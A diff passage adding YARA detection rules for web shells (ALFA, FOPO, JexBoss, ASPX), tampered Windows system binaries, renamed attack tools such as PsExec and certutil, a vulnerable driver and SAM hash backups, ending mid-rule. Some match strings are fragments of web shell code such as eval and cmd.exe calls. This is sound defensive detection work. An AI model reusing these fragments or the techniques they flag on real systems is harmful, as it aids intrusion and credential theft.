+      $enc2 = "if($___!==NULL){" ascii
+      $enc3 = ").substr(md5(strrev($" ascii
+      $enc4 = "]))%256);$" ascii
+      $enc5 = "]))@setcookie('" ascii
+      $enc6 = "]=chr(( ord($_" ascii
+
+      /* =\x0A'));if(isset($_COOKIE[' */
+      $x1 = { 3D 0A 27 29 29 3B 69 66 28 69 73 73 65 74 28 24 5F 43 4F 4F 4B 49 45 5B 27 }
+
+      $foot1 = "value=\"\"/><input type=\"submit\" value=\"&gt;\"/></form>"
+      $foot2 = "();}} @header(\"Status: 404 Not Found\"); ?>"
+   condition:
+      ( uint32(0) == 0x68703f3c and filesize < 80KB and (
+         3 of them or
+         $head1 at 0 or
+         $head2 in (0..20) or
+         1 of ($x*)
+         )
+      ) or
+      $foot1 at (filesize-52) or
+      $foot2 at (filesize-44)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-21
+   Identifier: ALFA Shell
+   Reference: Internal Research - APT33
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ALFA_SHELL {
+   meta:
+      description = "Detects web shell often used by Iranian APT groups"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - APT33"
+      date = "2017-09-21"
+      hash1 = "a39d8823d54c55e60a7395772e50d116408804c1a5368391a1e5871dbdc83547"
+      id = "f0be44ec-bff0-5d01-aabd-df7aa05383e3"
+   strings:
+      $x1 = "$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64')" ascii
+      $x2 = "#solevisible@gmail.com" fullword ascii
+      $x3 = "'login_page' => '500',//gui or 500 or 403 or 404" fullword ascii
+      $x4 = "$GLOBALS['__ALFA__']" fullword ascii
+      $x5 = "if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de')" ascii
+      $f1 = { 76 2F 38 76 2F 36 76 2F 2B 76 2F 2F 66 38 46 27 29 3B 3F 3E 0D 0A }
+   condition:
+      ( filesize < 900KB and 2 of ($x*) or $f1 at (filesize-22) )
+}
+
+rule Webshell_FOPO_Obfuscation_APT_ON_Nov17_1 {
+   meta:
+      description = "Detects malware from NK APT incident DE"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - ON"
+      date = "2017-11-17"
+      hash1 = "ed6e2e0027d3f564f5ce438984dc8a54577df822ce56ce079c60c99a91d5ffb1"
+      id = "0122bb03-8ff0-554d-8fee-458f0ddd7664"
+   strings:
+      $x1 = "Obfuscation provided by FOPO" fullword ascii
+
+      $s1 = "\";@eval($" ascii
+      $f1 = { 22 29 29 3B 0D 0A 3F 3E }
+   condition:
+      uint16(0) == 0x3f3c and filesize < 800KB and (
+        $x1 or
+        ( $s1 in (0..350) and $f1 at (filesize-23) )
+      )
+}
+
+rule WebShell_JexBoss_JSP_1 {
+   meta:
+      description = "Detects JexBoss JSPs"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-11-08"
+      hash1 = "41e0fb374e5d30b2e2a362a2718a5bf16e73127e22f0dfc89fdb17acbe89efdf"
+      id = "4fe7a20b-dc2b-509b-bcf8-e3bfbbe7431a"
+   strings:
+      $x1 = "equals(\"jexboss\")"
+      $x2 = "%><pre><%if(request.getParameter(\"ppp\") != null &&" ascii
+
+      $s1 = "<%@ page import=\"java.util.*,java.io.*\"%><pre><% if (request.getParameter(\""
+      $s2 = "!= null && request.getHeader(\"user-agent\"" ascii
+      $s3 = "String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>" fullword ascii
+   condition:
+      uint16(0) == 0x253c and filesize < 1KB and 1 of ($x*) or 2 of them
+}
+
+rule WebShell_JexBoss_WAR_1 {
+   meta:
+      description = "Detects JexBoss versions in WAR form"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-11-08"
+      hash1 = "6271775ab144ce9bb9138bf054b149b5813d3beb96338993c6de35330f566092"
+      hash2 = "6f14a63c3034d3762da8b3ad4592a8209a0c88beebcb9f9bd11b40e879f74eaf"
+      id = "0973f6cf-8a5f-5449-812e-36aa6b9939df"
+   strings:
+      $ = "jbossass" fullword ascii
+      $ = "jexws.jsp" fullword ascii
+      $ = "jexws.jspPK" fullword ascii
+      $ = "jexws1.jsp" fullword ascii
+      $ = "jexws1.jspPK" fullword ascii
+      $ = "jexws2.jsp" fullword ascii
+      $ = "jexws2.jspPK" fullword ascii
+      $ = "jexws3.jsp" fullword ascii
+      $ = "jexws3.jspPK" fullword ascii
+      $ = "jexws4.jsp" fullword ascii
+      $ = "jexws4.jspPK" fullword ascii
+   condition:
+      uint16(0) == 0x4b50 and filesize < 4KB and 1 of them
+}
+
+rule webshell_tinyasp {
+    meta:
+	author = "Jeff Beley"
+	hash1 = "1f29905348e136b66d4ff6c1494d6008ea13f9551ad5aa9b991893a31b37e452"
+	description = "Detects 24 byte ASP webshell and variations"
+	date = "2019-01-09"
+	id = "38b1f61b-e506-59b2-9157-d0345431c429"
+   strings:
+   	$s1 = "Execute Request" ascii wide nocase
+   condition:
+   	uint16(0) == 0x253c and filesize < 150 and 1 of them
+}
+
+rule WEBSHELL_ASPX_Mar21_1 {
+   meta:
+      description = "Detects ASPX Web Shells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2021-03-12"
+      hash1 = "10b6e82125a2ddf3cc31a238e0d0c71a64f902e0d77171766713affede03174d"
+      hash2 = "170bee832df176aac0a3c6c7d5aa3fee413b4572030a24c994a97e70f6648ffc"
+      hash3 = "31c4d1fc81c052e269866deff324dffb215e7d481a47a2b6357a572a3e685d90"
+      hash4 = "41b5c26ac194439612b68e9ec6a638eceaf00842c347ffa551eb009ef6c015a3"
+      hash5 = "4b645bc773acde2b3cc204e77ac27c3f6991046c3b75f42d12bc90ec29cff9e3"
+      hash6 = "602bb701b78895d4de32f5e78f3c511e5298ba244b29641b11a7c1c483789859"
+      hash7 = "7ac47a17c511e25c06a53a1c7a5fbbf05f41f047a4a40b71afa81ce7b59f4b03"
+      hash8 = "9a5097d0e8dc29a2814adac070c80fd4b149b33e56aaaf9235af9e87b0501d91"
+      hash9 = "9efb5932c0753e45504fc9e8444209b92c2bdf22e63b1c1a44e2d52cb62b4548"
+      hash10 = "d40b16307d6434c3281374c0e1bbc0f6db388883e7f6266c3c81de0694266882"
+      id = "52884135-6b86-5e3e-a866-36a812d5a9af"
+   strings:
+      $s1 = ".StartInfo.FileName = 'cmd.exe';" ascii fullword
+      $s2 = "<xsl:template match=\"\"/root\"\">" ascii fullword
+      $s3 = "<?xml version=\"\"1.0\"\"?><root>test</root>\";" ascii fullword
+   condition:
+      uint16(0) == 0x253c and
+      filesize < 6KB and
+      all of them
+}
diff --git a/yara-Neo23x0/thor_inverse_matches.yar b/yara-Neo23x0/thor_inverse_matches.yar
new file mode 100644
index 0000000..014c43f
--- /dev/null
+++ b/yara-Neo23x0/thor_inverse_matches.yar
@@ -0,0 +1,581 @@
+/*
+	THOR Yara Inverse Matches
+	> Detect system file manipulations and common APT anomalies
+
+	This is an extract from the THOR signature database
+
+	Reference:
+	http://www.bsk-consulting.de/2014/05/27/inverse-yara-signature-matching/
+	https://www.bsk-consulting.de/2014/08/28/scan-system-files-manipulations-yara-inverse-matching-22/
+
+	Notice: These rules require an external variable called "filename"
+
+   License: Detetction Rule License 1.1 (https://github.com/SigmaHQ/sigma/blob/master/LICENSE.Detection.Rules.md)
+
+*/
+
+import "pe"
+
+private rule WINDOWS_UPDATE_BDC
+{
+meta:
+   score = 0
+condition:
+    (uint32be(0) == 0x44434d01 and // magic: DCM PA30
+     uint32be(4) == 0x50413330)
+    or
+    (uint32be(0) == 0x44434401 and
+     uint32be(12)== 0x50413330)    // magic: DCD PA30
+}
+
+/* Rules -------------------------------------------------------------------- */
+
+rule iexplore_ANOMALY {
+   meta:
+      author = "Florian Roth (Nextron Systems)"
+      description = "Abnormal iexplore.exe - typical strings not found in file"
+      date = "23/04/2014"
+      score = 55
+      nodeepdive = 1
+      id = "ea436608-d191-5058-b844-025e48082edc"
+   strings:
+      $win2003_win7_u1 = "IEXPLORE.EXE" wide nocase
+      $win2003_win7_u2 = "Internet Explorer" wide fullword
+      $win2003_win7_u3 = "translation" wide fullword nocase
+      $win2003_win7_u4 = "varfileinfo" wide fullword nocase
+   condition:
+      filename == "iexplore.exe"
+      and uint16(0) == 0x5a4d
+      and not filepath contains "teamviewer"
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+      and filepath contains "C:\\"
+      and not filepath contains "Package_for_RollupFix"
+}
+
+rule svchost_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal svchost.exe - typical strings not found in file"
+		date = "23/04/2014"
+		score = 55
+		id = "5630054d-9fa4-587f-ba78-cda4478f9cc1"
+	strings:
+		$win2003_win7_u1 = "svchost.exe" wide nocase
+		$win2003_win7_u3 = "coinitializesecurityparam" wide fullword nocase
+		$win2003_win7_u4 = "servicedllunloadonstop" wide fullword nocase
+		$win2000 = "Generic Host Process for Win32 Services" wide fullword
+		$win2012 = "Host Process for Windows Services" wide fullword
+	condition:
+		filename == "svchost.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* removed 1 rule here */
+
+rule explorer_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal explorer.exe - typical strings not found in file"
+		date = "27/05/2014"
+		score = 55
+		id = "ecadd78f-21a1-5a9f-8f3f-cb51e872805b"
+	strings:
+		$s1 = "EXPLORER.EXE" wide fullword
+		$s2 = "Windows Explorer" wide fullword
+	condition:
+		filename == "explorer.exe"
+      and uint16(0) == 0x5a4d
+      and not filepath contains "teamviewer"
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule sethc_ANOMALY {
+	meta:
+		description = "Sethc.exe has been replaced - Indicates Remote Access Hack RDP"
+		author = "F. Roth"
+		reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+		date = "2014/01/23"
+		score = 70
+		id = "9dfbab4e-3dc8-5246-a051-1618f2ca5f39"
+	strings:
+		$s1 = "stickykeys" fullword nocase
+		$s2 = "stickykeys" wide nocase
+		$s3 = "Control_RunDLL access.cpl" wide fullword
+		$s4 = "SETHC.EXE" wide fullword
+	condition:
+		filename == "sethc.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule Utilman_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal utilman.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 70
+		id = "98daff9b-1600-56b3-87ff-637deaa6808c"
+	strings:
+		$win7 = "utilman.exe" wide fullword
+		$win2000 = "Start with Utility Manager" fullword wide
+		$win2012 = "utilman2.exe" fullword wide
+	condition:
+		( filename == "utilman.exe" or filename == "Utilman.exe" )
+      and uint16(0) == 0x5a4d
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule osk_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal osk.exe (On Screen Keyboard) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+		id = "6b78b001-f863-5a24-a9d1-ee5e8305766b"
+	strings:
+		$s1 = "Accessibility On-Screen Keyboard" wide fullword
+		$s2 = "\\oskmenu" wide fullword
+		$s3 = "&About On-Screen Keyboard..." wide fullword
+		$s4 = "Software\\Microsoft\\Osk" wide
+	condition:
+		filename == "osk.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule magnify_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal magnify.exe (Magnifier) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+		id = "db75201e-81a3-5f82-bf6f-ba155bfbcf81"
+	strings:
+		$win7 = "Microsoft Screen Magnifier" wide fullword
+		$win2000 = "Microsoft Magnifier" wide fullword
+		$winxp = "Software\\Microsoft\\Magnify" wide
+	condition:
+		filename =="magnify.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule narrator_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal narrator.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+		id = "a51f1916-f89a-58a9-b65c-91bf99575b80"
+	strings:
+		$win7 = "Microsoft-Windows-Narrator" wide fullword
+		$win2000 = "&About Narrator..." wide fullword
+		$win2012 = "Screen Reader" wide fullword
+		$winxp = "Software\\Microsoft\\Narrator"
+		$winxp_en = "SOFTWARE\\Microsoft\\Speech\\Voices" wide
+	condition:
+		filename == "narrator.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule notepad_ANOMALY {
+	meta:
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		description = "Abnormal notepad.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+		id = "16ddcd9e-ab6f-593e-80e0-a90399cbc3df"
+	strings:
+		$win7 = "HELP_ENTRY_ID_NOTEPAD_HELP" wide fullword
+		$win2000 = "Do you want to create a new file?" wide fullword
+		$win2003 = "Do you want to save the changes?" wide
+		$winxp = "Software\\Microsoft\\Notepad" wide
+		$winxp_de = "Software\\Microsoft\\Notepad" wide
+	condition:
+		filename == "notepad.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* NEW ---------------------------------------------------------------------- */
+
+rule csrss_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file csrss.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "17542707a3d9fa13c569450fd978272ef7070a77"
+		id = "bbd2841a-ec72-5eb4-b34a-5ecbf9c5b517"
+	strings:
+		$s1 = "Client Server Runtime Process" fullword wide
+		$s4 = "name=\"Microsoft.Windows.CSRSS\"" fullword ascii
+		$s5 = "CSRSRV.dll" fullword ascii
+		$s6 = "CsrServerInitialization" fullword ascii
+	condition:
+		filename == "csrss.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule conhost_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file conhost.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "1bd846aa22b1d63a1f900f6d08d8bfa8082ae4db"
+		id = "9803fa1b-bcaf-5451-831b-fc0dc9d711f2"
+	strings:
+		$s2 = "Console Window Host" fullword wide
+	condition:
+		filename == "conhost.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule wininit_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file wininit.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "2de5c051c0d7d8bcc14b1ca46be8ab9756f29320"
+		id = "a251984f-c667-55ec-8cc3-3888e80ddf1e"
+	strings:
+		$s1 = "Windows Start-Up Application" fullword wide
+	condition:
+		filename == "wininit.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule winlogon_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file winlogon.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "af210c8748d77c2ff93966299d4cd49a8c722ef6"
+		id = "ee424459-8048-52b8-ba97-4d09265a881f"
+	strings:
+		$s1 = "AuthzAccessCheck failed" fullword
+		$s2 = "Windows Logon Application" fullword wide
+	condition:
+		filename == "winlogon.exe"
+      and not 1 of ($s*)
+      and uint16(0) == 0x5a4d
+		and not WINDOWS_UPDATE_BDC
+		and not filepath contains "Malwarebytes"
+}
+
+rule SndVol_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file SndVol.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "e057c90b675a6da19596b0ac458c25d7440b7869"
+		id = "0c4d705f-4b24-55f9-bcf4-3f65eea0b7af"
+	strings:
+		$s1 = "Volume Control Applet" fullword wide
+	condition:
+		filename == "sndvol.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule doskey_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file doskey.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "f2d1995325df0f3ca6e7b11648aa368b7e8f1c7f"
+		id = "be9c239a-2918-5330-bbd0-33cc17067f70"
+	strings:
+		$s3 = "Keyboard History Utility" fullword wide
+	condition:
+		filename == "doskey.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule lsass_ANOMALY {
+	meta:
+		description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file lsass.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/03/16"
+		hash = "04abf92ac7571a25606edfd49dca1041c41bef21"
+		id = "0c0f6129-3e01-56d3-b297-cee231567759"
+	strings:
+		$s1 = "LSA Shell" fullword wide
+		$s2 = "<description>Local Security Authority Process</description>" fullword ascii
+		$s3 = "Local Security Authority Process" fullword wide
+		$s4 = "LsapInitLsa" fullword
+	condition:
+		filename == "lsass.exe"
+      and uint16(0) == 0x5a4d
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule taskmgr_ANOMALY {
+   meta:
+      description = "Anomaly rule looking for certain strings in a system file (maybe false positive on certain systems) - file taskmgr.exe"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/03/16"
+      nodeepdive = 1
+      hash = "e8b4d84a28e5ea17272416ec45726964fdf25883"
+      id = "e1c3a150-6e7e-5ead-a338-0bac6f43185d"
+   strings:
+      $s0 = "Windows Task Manager" fullword wide
+      $s1 = "taskmgr.chm" fullword
+      $s2 = "TmEndTaskHandler::" ascii
+      $s3 = "CM_Request_Eject_PC" /* Win XP */
+      $s4 = "NTShell Taskman Startup Mutex" fullword wide
+   condition:
+      ( filename == "taskmgr.exe" or filename == "Taskmgr.exe" ) and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+      and uint16(0) == 0x5a4d
+      and filepath contains "C:\\"
+      and not filepath contains "Package_for_RollupFix"
+}
+
+/* removed 22 rules here */
+
+/* APT ---------------------------------------------------------------------- */
+
+rule APT_Cloaked_PsExec
+	{
+	meta:
+		description = "Looks like a cloaked PsExec. This may be APT group activity."
+		date = "2014-07-18"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 60
+		id = "e389bb76-0d1d-5e0e-9f79-a3117c919da3"
+	strings:
+		$s0 = "psexesvc.exe" wide fullword
+		$s1 = "Sysinternals PsExec" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and $s0 and $s1
+		and not filename matches /(psexec.exe|PSEXESVC.EXE|PsExec64.exe)$/is
+		and not filepath matches /RECYCLE.BIN\\S-1/
+}
+
+/* removed 6 rules here */
+
+rule APT_Cloaked_SuperScan
+	{
+	meta:
+		description = "Looks like a cloaked SuperScan Port Scanner. This may be APT group activity."
+		date = "2014-07-18"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 50
+		id = "96027f7d-822c-5c5e-acd9-cde8289c6b50"
+	strings:
+		$s0 = "SuperScan4.exe" wide fullword
+		$s1 = "Foundstone Inc." wide fullword
+	condition:
+		uint16(0) == 0x5a4d and $s0 and $s1 and not filename contains "superscan"
+}
+
+rule APT_Cloaked_ScanLine
+	{
+	meta:
+		description = "Looks like a cloaked ScanLine Port Scanner. This may be APT group activity."
+		date = "2014-07-18"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 50
+		id = "78041dc0-491b-5a44-a125-3ad72b266cf8"
+	strings:
+		$s0 = "ScanLine" wide fullword
+		$s1 = "Command line port scanner" wide fullword
+		$s2 = "sl.exe" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and $s0 and $s1 and $s2 and not filename == "sl.exe"
+}
+
+rule SUSP_Renamed_Dot1Xtray {
+   meta:
+      description = "Detects a legitimate renamed dot1ctray.exe, which is often used by PlugX for DLL side-loading"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-11-15"
+      hash1 = "f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68"
+      id = "3685a79e-7dd6-5221-b58a-6ec1c61030cc"
+   strings:
+      $a1 = "\\Symantec_Network_Access_Control\\"  ascii
+      $a2 = "\\dot1xtray.pdb" ascii
+      $a3 = "DOT1X_NAMED_PIPE_CONNECT" fullword wide /* Goodware String - occured 2 times */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and all of them
+      and not filename matches /dot1xtray.exe/i
+      and not filepath matches /Recycle.Bin/i
+}
+
+rule APT_Cloaked_CERTUTIL {
+   meta:
+      description = "Detects a renamed certutil.exe utility that is often used to decode encoded payloads"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-14"
+      modified = "2022-06-27"
+      id = "13943cda-6bb1-5c6c-8e55-e8d4bba1ffef"
+   strings:
+      $s1 = "-------- CERT_CHAIN_CONTEXT --------" fullword ascii
+      $s5 = "certutil.pdb" fullword ascii
+      $s3 = "Password Token" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and all of them
+      and not filename contains "certutil"
+      and not filename contains "CertUtil"
+      and not filename contains "Certutil"
+      and not filepath contains "\\Bromium\\"
+}
+
+rule APT_SUSP_Solarwinds_Orion_Config_Anomaly_Dec20 {
+   meta:
+      description = "Detects a suspicious renamed Afind.exe as used by different attackers"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/iisresetme/status/1339546337390587905?s=12"
+      date = "2020-12-15"
+      score = 70
+      nodeepdive = 1
+      id = "440a3eb9-b573-53ea-ab26-c44d9cf62401"
+   strings:
+      $s1 = "ReportWatcher" fullword wide ascii 
+      
+      $fp1 = "ReportStatus" fullword wide ascii
+   condition:
+      filename == "SolarWindows.Orion.Core.BusinessLayer.dll.config"
+      and $s1 
+      and not $fp1
+}
+
+rule PAExec_Cloaked {
+   meta:
+      description = "Detects a renamed remote access tool PAEXec (like PsExec)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/"
+      date = "2017-03-27"
+      score = 70
+      hash1 = "01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc"
+      id = "fad8417b-bbdb-5a4e-8324-660e27cb39f8"
+   strings:
+      $x1 = "Ex: -rlo C:\\Temp\\PAExec.log" fullword ascii
+      $x2 = "Can't enumProcesses - Failed to get token for Local System." fullword wide
+      $x3 = "PAExec %s - Execute Programs Remotely" fullword wide
+      $x4 = "\\\\%s\\pipe\\PAExecIn%s%u" fullword wide
+      $x5 = "\\\\.\\pipe\\PAExecIn%s%u" fullword wide
+      $x6 = "%%SystemRoot%%\\%s.exe" fullword wide
+      $x7 = "in replacement for PsExec, so the command-line usage is identical, with " fullword ascii
+      $x8 = "\\\\%s\\ADMIN$\\PAExec_Move%u.dat" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of ($x*) )
+      and not filename == "paexec.exe"
+      and not filename == "PAExec.exe"
+      and not filename == "PAEXEC.EXE"
+      and not filename matches /Install/
+      and not filename matches /uninstall/
+}
+
+rule SUSP_VULN_DRV_PROCEXP152_May23 {
+   meta:
+      description = "Detects vulnerable process explorer driver (original file name: PROCEXP152.SYS), often used by attackers to elevate privileges (false positives are possible in cases in which old versions of process explorer are still present on the system)"
+      author = "Florian Roth"
+      reference = "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
+      date = "2023-05-05"
+		modified = "2023-07-28"
+      score = 50
+      hash1 = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+      id = "748eb390-f320-5045-bed2-24ae70471f43"
+   strings:
+      $a1 = "\\ProcExpDriver.pdb" ascii
+      $a2 = "\\Device\\PROCEXP152" wide fullword
+      $a3 = "procexp.Sys" wide fullword
+   condition:
+      uint16(0) == 0x5a4d 
+      and filesize < 200KB 
+      and all of them
+}
+
+rule SUSP_VULN_DRV_PROCEXP152_Renamed_May23 {
+   meta:
+      description = "Detects vulnerable process explorer driver (original file name: PROCEXP152.SYS) that has been renamed (often used by attackers to elevate privileges)"
+      author = "Florian Roth"
+      reference = "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/"
+      date = "2023-05-05"
+      score = 70
+      hash1 = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+      id = "af2ec5d5-3453-5d35-8d19-4f37c61fabce"
+   strings:
+      $a1 = "\\ProcExpDriver.pdb" ascii
+      $a2 = "\\Device\\PROCEXP152" wide fullword
+      $a3 = "procexp.Sys" wide fullword
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 200KB 
+      and all of them
+      and not filename matches /PROCEXP152\.SYS/i
+}
+
+rule SUSP_ANOMALY_Teams_Binary_Nov23 : SCRIPT {
+   meta:
+      description = "Detects a suspicious binary with the name teams.exe, update.exe or squirrel.exe in the AppData folder of Microsoft Teams that is unsigned or signed by a different CA"
+      author = "Florian Roth"
+      score = 60
+      reference = "https://twitter.com/steve_noel/status/1722698479636476325/photo/1"
+      date = "2023-11-11"
+      id = "60557ed1-ac16-5e3b-b105-157dc34f6ad7"
+   strings:
+      $a1 = "Microsoft Code Signing PCA" ascii
+   condition:
+      (
+         filename iequals "teams.exe" or
+         filename iequals "update.exe" or 
+         filename iequals "squirrel.exe"
+      )
+      and filepath icontains "\\AppData\\Local\\Microsoft\\Teams"
+      and pe.number_of_signatures == 0
+      and not $a1
+}
+
+rule SAM_Hive_Backup {
+   meta:
+      description = "Detects a SAM hive backup file - SAM is the Security Account Manager - contains password hashes"
+      author = "Florian Roth"
+      reference = "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry"
+      score = 60
+      nodeepdive = 1
+      date = "2015-03-31"
+      modified = "2023-12-12"
+      id = "31fb6c0c-966d-5002-bf8c-4129964c81ff"
+   strings:
+      $s1 = "\\SystemRoot\\System32\\Config\\SAM" wide
+   condition:
+      uint32(0) == 0x66676572 and $s1 in (0..200)
+      and not filepath contains "\\System32\\Config"
+      and not filepath contains "\\System32\\config"
+      and not filepath contains "System Volume Information"
+      and not filepath contains "\\config\\RegBack"
+}
diff --git a/yara-Neo23x0/threat_lenovo_superfish.yar b/yara-Neo23x0/threat_lenovo_superfish.yar
new file mode 100644
index 0000000..095b673
--- /dev/null
+++ b/yara-Neo23x0/threat_lenovo_superfish.yar
@@ -0,0 +1,23 @@
+
+/* LENOVO Superfish -------------------------------------------------------- */
+
+rule VisualDiscovery_Lonovo_Superfish_SSL_Hijack {
+	meta:
+		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
+		author = "Florian Roth (Nextron Systems) / improved by kbandla"
+		reference = "https://twitter.com/4nc4p/status/568325493558272000"
+		date = "2015/02/19"
+		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
